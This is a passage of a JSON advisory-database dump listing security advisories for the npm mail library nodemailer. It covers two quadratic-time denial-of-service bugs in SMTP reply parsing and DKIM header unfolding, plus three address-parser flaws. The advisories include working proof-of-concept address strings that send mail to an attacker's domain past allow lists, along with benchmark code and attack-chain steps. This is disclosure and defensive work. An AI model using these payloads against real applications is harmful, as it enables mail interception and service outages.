`envelope.to`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-27T15:04:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-g73g-hqqh-jr95","https://github.com/nodemailer/nodemailer/commit/a502247555fd81773eac337486781f3b6008e16a","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.13","https://github.com/advisories/GHSA-g73g-hqqh-jr95"],"source_kind":"github","identifiers":["GHSA-g73g-hqqh-jr95"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.910Z","updated_at":"2026-10-28T20:01:30.334Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNzNnLWhxcWgtanI5Nc4AB_kr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNzNnLWhxcWgtanI5Nc4AB_kr","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.13","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 10.0.12"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNzNnLWhxcWgtanI5Nc4AB_kr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00ZzIzLTJ4bTgtNjZnY84AB_kq","url":"https://github.com/advisories/GHSA-4g23-2xm8-66gc","title":"Nodemailer: Quadratic (O(n^2)) SMTP client reply parsing lets a malicious server or MITM cause a pre-auth remote denial of service","description":"## Summary\n\nThe SMTP client response parser reassembles multiline server replies by appending each continuation line onto a single response-queue entry and re-testing whether that entry is still a partial (continuation) reply on every line. The partial-response test runs `str.slice(str.lastIndexOf('\\n') + 1)` on the growing entry, which forces a full flatten of the entire accumulated string on each line. A malicious or compromised SMTP server (or an on-path attacker on a plaintext or pre-STARTTLS hop) that streams continuation lines and never sends a completion line drives O(n^2) CPU on the single-threaded Node.js event loop before any authentication, freezing the whole process for an attacker-controlled duration.\n\n## Root Cause\n\nThe invariant that a server cannot cause superlinear client-side work while a reply is being reassembled is violated. In `src/smtp-connection/index.ts`, `_onData` splits inbound bytes into lines and, while the last queued entry is a continuation reply, concatenates each new line onto that same entry with `this._responseQueue[len - 1] += '\\n' + lines[i]`. On every iteration it calls `isPartialResponse(lastline)`, which evaluates `/^\\d+-/.test(str.slice(str.lastIndexOf('\\n') + 1))`. Because the queued entry grows by one line per continuation line and is stored as a V8 rope (ConsString), each `lastIndexOf`/`slice` forces a full string flatten of length proportional to the accumulated reply. Executed once per line over n continuation lines, this is O(n^2) CPU. While the reply stays partial the function early-returns and never resets the entry, so the growth and the per-line reflatten continue unbounded. There is no response-size or line-count cap in the connection code; the only limits are time-based (`greetingTimeout`, and an inactivity `socketTimeout`), and neither bounds accumulated reply size.\n\n```text\nAffected file and functions (verified at the published v10.0.9 artifact, in src/ and in the built dist/cjs and dist/esm output):\n- src/smtp-connection/index.ts: isPartialResponse (the /^\\d+-/ test over str.slice(str.lastIndexOf('\\n')+1))\n- src/smtp-connection/index.ts: SMTPConnection._onData (the continuation-line append loop with no size cap)\n```\n\n## Impact\n\nAn attacker who is, or can impersonate, the SMTP peer the client connects to can freeze the connecting Node.js process. Because Node.js is single-threaded, event-loop starvation halts all other work in that process (every other connection, request, and timer), not just the offending SMTP session. The reply is parsed during the greeting and EHLO phases, before the client authenticates or issues any command, so no credentials on the client are required. The blocking duration scales with the volume of continuation data the attacker streams and can be sustained indefinitely by continuing to stream, and memory for the accumulated entry also grows without bound. Independent reproduction on Node.js 24 measured roughly 11.6 seconds of event-loop blocking for about 640 KB of continuation data and roughly 47 seconds for about 1.3 MB, scaling quadratically. This is a repeatable remote denial of service against the sending process.\n\n## Proof of Concept\n\n`Node.js 24; a raw TCP listener acting as a hostile SMTP server; the client uses the shipped SMTPConnection (require('nodemailer/lib/smtp-connection')).`\n\nSteps: (1) start a TCP server that accepts a connection and streams continuation lines of the form `220-flood...\\r\\n` in large batches, never emitting a completion line such as `220 ready`; (2) point an SMTPConnection at it and observe the client event loop stall while the single response-queue entry grows and is reflattened on every line. A minimal microbenchmark of the exact parsing logic demonstrates the complexity:\n\n```js\n// Reproduces isPartialResponse + the _onData append loop verbatim (Node 24).\nfunction isPartialResponse(str) { return /^\\d+-/.test(str.slice(str.lastIndexOf('\\n') + 1)); }\nfunction run(n) {\n    const queue = [];\n    let remainder = '';\n    function onData(chunk) {\n        const lines = (remainder + chunk).split(/\\r?\\n/);\n        remainder = lines.pop();\n        for (let i = 0; i \u003c lines.length; i++) {\n            if (queue.length \u0026\u0026 isPartialResponse(queue[queue.length - 1])) {\n                queue[queue.length - 1] += '\\n' + lines[i];\n                continue;\n            }\n            queue.push(lines[i]);\n        }\n    }\n    let buf = '';\n    for (let i = 0; i \u003c n; i++) buf += '220-flood line ' + i + '\\r\\n';\n    const t = Date.now();\n    onData(buf);\n    return Date.now() - t;\n}\nfor (const n of [8000, 16000, 32000, 64000]) console.log(n, run(n) + 'ms');\n```\n\n```text\n8000   26.5ms\n16000  357.6ms\n32000  2712.0ms\n64000  11645.1ms\n(2x input yields roughly 4x-7x time: quadratic. ~640 KB of continuation data blocks the event loop ~11.6s.)\n```\n\n## Attack Chain\n\n1. **Exposure:** The client opens an SMTP connection whose peer is attacker-controlled or attacker-influenced: a compromised or malicious configured server, a tenant-supplied outbound server in a multi-tenant \"bring your own SMTP\" deployment, a deliverability or mailbox-probing tool that connects to arbitrary servers, or an on-path attacker on a plaintext or pre-STARTTLS hop.\n2. **Control:** The peer fully controls the bytes of its greeting and EHLO replies, including whether a reply ever completes.\n3. **Path:** Inbound bytes reach the socket `data` handler `_onData`, the sole data handler; every reply phase traverses the same continuation-append loop.\n4. **Guard:** No response-size or line-count cap exists. The greeting timer is time-based and cleared after the greeting, and its callback is itself starved while `_onData` runs synchronously; the inactivity timer resets on every inbound chunk, so an actively streaming attacker never trips it.\n5. **Primitive:** Each continuation line appended to the single growing queue entry triggers a full string flatten in `isPartialResponse`, yielding O(n^2) synchronous CPU on the event loop.\n6. **Result:** Whole-process event-loop starvation for an attacker-controlled, sustainable duration, plus unbounded memory growth: a remote denial of service reachable before authentication.\n\n## Bypass Evidence\n\nThe relevant guard would be a cap on accumulated reply size or line count. A search of the connection module (`maxSize`, `maxLength`, `responseQueue.length \u003e`, byte or line ceilings) finds none; the only bounds are `greetingTimeout` and the inactivity-based `socketTimeout`, both time-based and neither bounding accumulated size. Disproof attempts: the greeting timeout does not help because it is time-based, fires only during the greeting phase, is cleared once the greeting completes, and its callback is delayed while `_onData` runs synchronously; a well-behaved server does not trigger the issue because a completion line resets the entry and keeps cost linear, but the modeled attacker is a hostile peer; segmented delivery does not help the defender because the response queue and line remainder persist across `_onData` calls so the accumulation and quadratic cost survive chunking; there is no safer alternate caller because `_onData` is the only data handler and the append loop is on every reply phase. Note on scope: core nodemailer connects to a configured host and does not perform MX resolution, so this is not reachable through a direct-to-MX transport; the malicious-peer, multi-tenant tenant-supplied-host, deliverability-probe, and MITM paths establish reachability.\n\n## Affected Versions\n\n- `Ecosystem: npm`\n- `Package: nodemailer`\n- `Confirmed affected range: \u003c= 10.0.9`\n- `Latest release checked: nodemailer 10.0.9 (npm registry; vulnerable code verified at git tag v10.0.9 and in the published dist output)`\n- `Fix status: 10.0.10`\n\nThe quadratic reassembly shape is long-standing and predates the addressparser complexity fix family, so the exact introducing release is not positively established and the lower bound is left open; the upper bound is verified against the current published artifact, which is vulnerable with no fix.\n\n## Suggested Fix\n\nEnforce that reassembling a multiline reply is linear in the reply size and that the reply size is bounded. Track the running length of the accumulated entry and the continuation state without re-scanning the whole entry on every line (for example, test the newly arrived line rather than slicing the tail of the growing accumulator, or collect lines in an array and join once at completion). Independently, impose a configurable maximum on the accumulated reply size or continuation-line count and fail the connection when it is exceeded, so a peer that never completes a reply cannot force unbounded work or memory. The remediation must cover every reply phase (greeting, EHLO, and command responses), because all of them flow through the same handler. As an interim mitigation, only connect to trusted SMTP servers over authenticated TLS (avoiding plaintext or STARTTLS-strippable hops), and in multi-tenant deployments isolate outbound SMTP sessions to tenant-supplied hosts so one tenant cannot starve a shared process.\n\nReported by zx (GitHub: @manus-pi).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-27T15:04:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-4g23-2xm8-66gc","https://github.com/nodemailer/nodemailer/commit/f2d82fa84d47015a7bbb4253da61eeb778c658b1","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.10","https://github.com/advisories/GHSA-4g23-2xm8-66gc"],"source_kind":"github","identifiers":["GHSA-4g23-2xm8-66gc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.910Z","updated_at":"2026-10-28T20:01:33.815Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZzIzLTJ4bTgtNjZnY84AB_kq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ZzIzLTJ4bTgtNjZnY84AB_kq","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.10","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 10.0.9"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZzIzLTJ4bTgtNjZnY84AB_kq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04YzhtLXAzbTgtY2pnOM4AB_RT","url":"https://github.com/advisories/GHSA-8c8m-p3m8-cjg8","title":"Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient","description":"### Vulnerability summary\n\nRFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) \u003cevil@evil.com\u003e) \u003cv@victim.com\u003e` names `v@victim.com` with `x(y) \u003cevil@evil.com\u003e` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3.\n\n### Attacker capabilities\n\nThe attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.\n\n### Realistic exploitation scenario\n\nAn application validates a submitted address with a conformant parser and allows only its own domain. The attacker submits `Victim (x(y) \u003cevil@evil.com\u003e) \u003cv@victim.com\u003e`, which validates as `v@victim.com`. Nodemailer delivers to `evil@evil.com`. In the inbound direction, a DMARC or display layer built on a conformant parser and a mail client built on mailparser disagree on the author of the same message, which is the setting for sender spoofing. The boundary crossed is the application's recipient allow list, or the author check of the receiving side.\n\n### Proof of concept\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconsole.log(addressparser(\"Victim (x(y) \u003cevil@evil.com\u003e) \u003cv@victim.com\u003e\"));\n// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]\n```\n\nPython's `email._header_value_parser.get_address_list` reads the same value as `v@victim.com` with the display name `Victim`, with no defects reported.\n\nThe envelope a message gets is built from the same parse, so `sendMail({ to: \"Victim (x(y) \u003cevil@evil.com\u003e) \u003cv@victim.com\u003e\" })` issues the RCPT TO shown above.\n\n### Security impact\n\nMail intended for an approved recipient is delivered to an attacker chosen domain, disclosing its content, and parsers built on this module report a different author than conformant ones. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.\n\nThe fix counts comment depth and ends a comment only at the `)` that closes the outermost one.\n\nFound in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-23T21:53:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8","https://github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011","https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4","https://github.com/advisories/GHSA-8c8m-p3m8-cjg8"],"source_kind":"github","identifiers":["GHSA-8c8m-p3m8-cjg8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-23T22:00:07.967Z","updated_at":"2026-10-24T21:00:08.716Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzhtLXAzbTgtY2pnOM4AB_RT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04YzhtLXAzbTgtY2pnOM4AB_RT","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.1.4","vulnerable_version_range":"\u003e= 3.0.0, \u003c 10.1.4"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzhtLXAzbTgtY2pnOM4AB_RT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tOTQzLW02M20tdzYyd84AB_RS","url":"https://github.com/advisories/GHSA-m943-m63m-w62w","title":"Nodemailer: A \";\" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient","description":"### Vulnerability summary\n\naddressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; \u003cevil@evil.com\u003e) \u003cv@victim.com\u003e;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3.\n\n### Attacker capabilities\n\nThe attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.\n\n### Realistic exploitation scenario\n\nAn application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits `G: (a; \u003cevil@evil.com\u003e) \u003cv@victim.com\u003e;`. The validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer delivers to `evil@evil.com` only. The same works through a quoted display name, `G: \"a;\" \"\u003cevil@evil.com\u003e\" \u003cv@victim.com\u003e;`. The boundary crossed is the application's recipient allow list.\n\n### Proof of concept\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconsole.log(addressparser(\"G: (a; \u003cevil@evil.com\u003e) \u003cv@victim.com\u003e;\"));\n// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]\n```\n\nPython's `email._header_value_parser.get_address_list` reads the same value as the single mailbox `v@victim.com`, with no defects reported.\n\nThe envelope a message gets is built from the same parse, so `sendMail({ to: \"G: (a; \u003cevil@evil.com\u003e) \u003cv@victim.com\u003e;\" })` issues the RCPT TO shown above.\n\n### Security impact\n\nMail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser.\n\nThe fix tracks quoted strings and comments inside a group and reads only a `;` outside them.\n\n\nFound in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-23T21:51:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w","https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2","https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4","https://github.com/advisories/GHSA-m943-m63m-w62w"],"source_kind":"github","identifiers":["GHSA-m943-m63m-w62w"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-23T22:00:07.967Z","updated_at":"2026-10-24T21:00:08.718Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tOTQzLW02M20tdzYyd84AB_RS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tOTQzLW02M20tdzYyd84AB_RS","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.1.4","vulnerable_version_range":"\u003e= 3.0.0, \u003c 10.1.4"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tOTQzLW02M20tdzYyd84AB_RS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04NXgyLXE5NDYtY3A1aM4AB_RR","url":"https://github.com/advisories/GHSA-85x2-q946-cp5h","title":"Nodemailer: A \"\u003e\" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name","description":"### Vulnerability summary\n\naddressparser ends an angle-addr at the first `\u003e` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `\u003e`. `\u003c\"a@evil.com\u003e\"@good.com\u003e` is the mailbox `\"a@evil.com\u003e\"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.\n\n### Attacker capabilities\n\nThe attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.\n\n### Realistic exploitation scenario\n\nAn application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits `\u003c\"a@evil.com\u003e\"@good.com\u003e`, which validates as a `good.com` mailbox. Nodemailer then parses the same value, issues `RCPT TO:\u003c\"\\\"a\"@evil.com\u003e` and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.\n\n### Proof of concept\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconsole.log(addressparser(\"\u003c\\\"a@evil.com\u003e\\\"@good.com\u003e\"));\n// [ { address: '\"a@evil.com', name: '@good.com\u003e' } ]\n```\n\nPython's `email._header_value_parser.get_address_list` reads the same value as `\"a@evil.com\u003e\"@good.com`, with no defects reported.\n\nThe envelope a message gets is built from the same parse, so `sendMail({ to: \"\u003c\\\"a@evil.com\u003e\\\"@good.com\u003e\" })` issues the RCPT TO shown above.\n\n### Security impact\n\nMail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.\n\nThe fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a `\u003e` outside them.\n\nFound in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-23T21:51:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h","https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2","https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4","https://github.com/advisories/GHSA-85x2-q946-cp5h"],"source_kind":"github","identifiers":["GHSA-85x2-q946-cp5h"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-23T22:00:07.967Z","updated_at":"2026-10-24T21:00:08.719Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NXgyLXE5NDYtY3A1aM4AB_RR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04NXgyLXE5NDYtY3A1aM4AB_RR","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.1.4","vulnerable_version_range":"\u003e= 3.0.0, \u003c 10.1.4"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NXgyLXE5NDYtY3A1aM4AB_RR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOW04LTI3d3YtaHIyN84AB_GU","url":"https://github.com/advisories/GHSA-39m8-27wv-hr27","title":"Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing","description":"## Summary\n\nWhen nodemailer DKIM-signs an outbound message, its DKIM message parser unfolds RFC 5322 header continuation lines with a loop that concatenates each continuation line onto the preceding line and then re-tests the anchored regex `/^[ \\t]/` against the growing merged line on every iteration. Re-testing the regex against the ever-growing accumulated line forces a full string flatten proportional to the accumulated length on each iteration, yielding O(n^2) CPU in the number of continuation lines. An application user who influences the size of a header that folds into many continuation lines (most naturally a large recipient list, but also a long custom header, Subject, or References) can drive tens of thousands of continuation lines and block the single-threaded Node.js event loop for seconds during signing, a repeatable denial of service.\n\n## Root Cause\n\nThe invariant that signing a message performs work linear in the message size is violated in the header-unfolding step. In `src/dkim/message-parser.ts`, `parseHeaders()` splits the buffered header block into `lines` and iterates backward; for each line matching the continuation pattern `/^[ \\t]/`, it does `lines[i - 1] += '\\n' + lines[i]` and `lines.splice(i, 1)`. The dominant cost is not the array splice: iterating backward keeps each splice near the shrinking tail, so it shifts only the few trailing header lines. The quadratic cost is the anchored regex test `/^[ \\t]/.test(lines[i])` (together with the `+=` concatenation) evaluated against the growing merged line on every iteration. The `+=` builds an O(1) rope, but the next iteration's regex test forces a full flatten of the entire accumulated line, so the total cost is the sum over all continuation lines, which is O(n^2). The header block is buffered by `checkHeaders` without any size or line-count cap; the DKIM signer's `MAX_MESSAGE_SIZE` and `cacheTreshold` knobs gate the body stream only, not the header block, so nothing bounds the number of continuation lines fed to the loop.\n\n```text\nAffected file and function (verified at the published v10.0.9 artifact, in src/ and compiled verbatim into the published dist output):\n- src/dkim/message-parser.ts: MessageParser.parseHeaders (the continuation-unfold loop that re-tests /^[ \\t]/ against the growing merged line)\n```\n\n## Impact\n\nAn attacker or user who can make an outbound, DKIM-signed message carry a header that folds into a large number of continuation lines can freeze the sending Node.js process during signing. Because Node.js is single-threaded, the synchronous unfold loop starves the entire event loop, halting all other work in the process, and it is repeatable on every such message. The natural lever is a large recipient list: nodemailer's own MIME composer folds a To or Cc value at column 76 into space-prefixed continuation lines, and the count scales linearly with the number of recipients, so a caller-supplied recipient list (common in bulk-mail, notification, and multi-tenant email APIs) turns into tens of thousands of continuation lines. The single precondition is that DKIM signing is enabled, which is a mainstream deliverability configuration. Independent reproduction on Node.js 24 measured roughly 2.8 seconds of event-loop blocking at about 20,000 continuation lines and roughly 11.5 seconds at about 40,000, scaling quadratically; the full composer-to-signer chain with a 60,000-recipient To header blocked for roughly 6.6 seconds. The applications that cap recipient count or header size shrink the exposed population but do not change the per-message availability impact once a large header is accepted.\n\n## Proof of Concept\n\n`Node.js 24; the shipped DKIM signer (require('nodemailer/lib/dkim')) or the exact unfold loop.`\n\nSteps: (1) construct a message whose header block contains one header value folded into many space-prefixed continuation lines (for example by supplying a very large recipient list, which nodemailer's MIME composer folds automatically); (2) DKIM-sign it and observe the event loop stall while `parseHeaders` unfolds the block. A minimal microbenchmark of the exact unfold logic demonstrates the complexity:\n\n```js\n// Reproduces the parseHeaders unfold loop verbatim (Node 24).\nfunction unfold(headerBlock) {\n    const lines = headerBlock.split(/\\r?\\n/);\n    for (let i = lines.length - 1; i \u003e 0; i--) {\n        if (/^[ \\t]/.test(lines[i])) {\n            lines[i - 1] += '\\n' + lines[i];\n            lines.splice(i, 1);\n        }\n    }\n    return lines;\n}\nfunction run(n) {\n    let block = 'To: a@b.c\\r\\n';\n    for (let i = 0; i \u003c n; i++) block += ' cont-' + i + '@example.com,\\r\\n';\n    for (let k = 0; k \u003c 5; k++) block += 'X-H' + k + ': v\\r\\n';\n    const t = Date.now();\n    unfold(block);\n    return Date.now() - t;\n}\nfor (const n of [5000, 10000, 20000, 40000]) console.log(n, run(n) + 'ms');\n```\n\n```text\n5000   27ms\n10000  542ms\n20000  2853ms\n40000  11503ms\n(2x input yields roughly 4x-5x time: quadratic. The cost is the regex re-flatten of the growing merged line, not the splice.)\n```\n\n## Attack Chain\n\n1. **Exposure:** An application DKIM-signs outbound mail (a mainstream deliverability configuration, enabled per transport or per message) for a message whose header size is influenced by a user, for example a large recipient list, a long custom header, Subject, or References.\n2. **Control:** The attacker or user controls the size of that header. The MIME composer folds it deterministically at column 76 into space-prefixed continuation lines that match the continuation pattern, so the continuation-line count scales linearly with the supplied size.\n3. **Path:** Signing pipes the composed message through the DKIM MessageParser; `checkHeaders` buffers the whole header block into `rawHeaders` and calls `parseHeaders()`, the single sink, on every signed message.\n4. **Guard:** No header-size or line-count cap exists between the input and the sink; the signer's body-only size thresholds do not apply to the header block.\n5. **Primitive:** The unfold loop re-tests the anchored regex against the growing merged line on each continuation line, forcing a full flatten per iteration and yielding O(n^2) synchronous CPU.\n6. **Result:** Event-loop starvation of the single-threaded sending process for an attacker-scaled duration, repeatable per message: a denial of service.\n\n## Bypass Evidence\n\nThe relevant guard would be a cap on header-block size or continuation-line count before unfolding. A search of the DKIM module confirms none exists: `checkHeaders` accumulates header chunks unbounded until the header terminator, and the only size knobs (`MAX_MESSAGE_SIZE`, `cacheTreshold`) are checked against the body stream, not the header block. The strongest disproof attempt was that the backward `splice` makes the loop cheap for a single consecutive folded block (so it would not be quadratic); this was refuted by a mechanism-isolation benchmark: removing the splice entirely leaves the loop just as slow (about 11 seconds at 40,000 lines), while precomputing the continuation test on the original lines so the growing merged line is never re-tested collapses it to a few milliseconds. This proves the quadratic driver is the regex re-flatten of the accumulated line, not the array shift, and confirms the loop is quadratic even for a single consecutive folded block. No published advisory covers this file: the disclosed complexity issues all live in the address parser and recipient-normalization code, and the DKIM message parser has never received a complexity fix.\n\n## Affected Versions\n\n- `Ecosystem: npm`\n- `Package: nodemailer`\n- `Confirmed affected range: \u003c= 10.0.9`\n- `Latest release checked: nodemailer 10.0.9 (npm registry; vulnerable code verified at git tag v10.0.9 and in the published dist output)`\n- `Fix status: not fixed (no released version removes the quadratic unfold or caps header size)`\n\nThe unfold loop is long-standing DKIM code that predates the address-parser complexity fix family, so the exact introducing release is not positively established and the lower bound is left open; the upper bound is verified against the current published artifact, which is vulnerable with no fix.\n\n## Suggested Fix\n\nEnforce linear-time header unfolding and bound the header block. The key correction is to stop re-scanning the growing accumulated line: classify each line's continuation status on the original split lines before merging, and build the unfolded value with an array plus a single join rather than repeatedly re-testing and concatenating the growing string. Simply replacing `splice` with a filter or two-pointer compaction while still re-testing the merged line would not fix the issue, because the regex re-flatten of the accumulated line is the quadratic driver. Independently, impose a configurable maximum on the buffered header-block size or continuation-line count in the message parser and fail closed when it is exceeded, so an oversized folded header cannot force unbounded work. As an interim mitigation, applications should cap recipient counts and header-value sizes for messages that will be DKIM-signed.\n\nReported by zx (GitHub: @manus-pi).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-22T16:07:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-39m8-27wv-hr27","https://nvd.nist.gov/vuln/detail/CVE-2026-110871","https://github.com/nodemailer/nodemailer/commit/28a5909cec27646cb001dc7e97a8f5d26c973078","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.10","https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.0.10-quadratic-dkim-header-unfolding-denial-of-service","https://github.com/advisories/GHSA-39m8-27wv-hr27"],"source_kind":"github","identifiers":["GHSA-39m8-27wv-hr27","CVE-2026-110871"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-10-26T21:00:12.181Z","epss_percentage":0.00381,"epss_percentile":0.31775,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOW04LTI3d3YtaHIyN84AB_GU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOW04LTI3d3YtaHIyN84AB_GU","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.10","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 